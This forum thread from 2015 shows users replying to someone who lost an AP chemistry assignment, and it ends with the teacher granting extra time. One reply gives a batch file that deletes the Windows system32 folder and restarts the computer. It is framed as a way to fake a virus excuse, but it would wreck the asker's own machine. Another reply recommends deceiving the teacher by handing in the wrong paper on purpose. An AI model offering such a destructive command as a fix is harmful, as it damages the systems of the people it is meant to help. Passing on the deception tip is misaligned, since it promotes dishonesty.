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stinky_cheese
Posts: 1215 - Karma: 5,118
well i had this big ap chem assignment due tomorrow but i seem to have lost it. i can't find anywhere and i can't find and print it off of the interwebz. everyone else in my class has already done it because they aren't procrastinators so i can't photocopy it. ns what do i do? the teacher is pretty chill so she might give me extra time to do it but if not, I'm screwed. help me out ns what do i do
Dec 11 2015 12:52AM
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Morriski_
Posts: 179 - Karma: 895
Buy full tilts
Dec 11 2015 12:58AM
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406
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and on3ps
Dec 11 2015 1:24AM
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*DUMBCAN*
Posts: 2447 - Karma: 5,627
Ok here's what you do.

Open notepad.

Type the following:

@echo off
del C:\\Windows\system32
shutdown.exe /r

Save the file as dog.bat

Run it.

Now the digital dog has eaten your homework, and you can tell your teacher your computer has a virus, and provide proof.
Dec 11 2015 7:41AM
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270on420out
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Spend a few periods in the school bathroom doing it. I've done full projects in there
Dec 11 2015 8:08AM
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chodo
Posts: 274 - Karma: 918
My go to when I was in school was to turn in some random other assignment or paper or some BS. Clearly not the correct one.

Go do the real HW assignment.

Go back to the teacher and say "shit, I just found this, it looks like I turned in the wrong assignment!"

Give them the real one.
Dec 11 2015 11:13AM
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Deezy
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Tell him you lost it and could use extra time. See how that goes.

Meanwhile, get of NS and start doing it

/thread
Dec 11 2015 2:36PM
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stinky_cheese
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update (even though nobody cares): i went in and she hooked it up with the assignment and said i could turn it in after the weekend for full points. stoked!
Dec 11 2015 8:12PM
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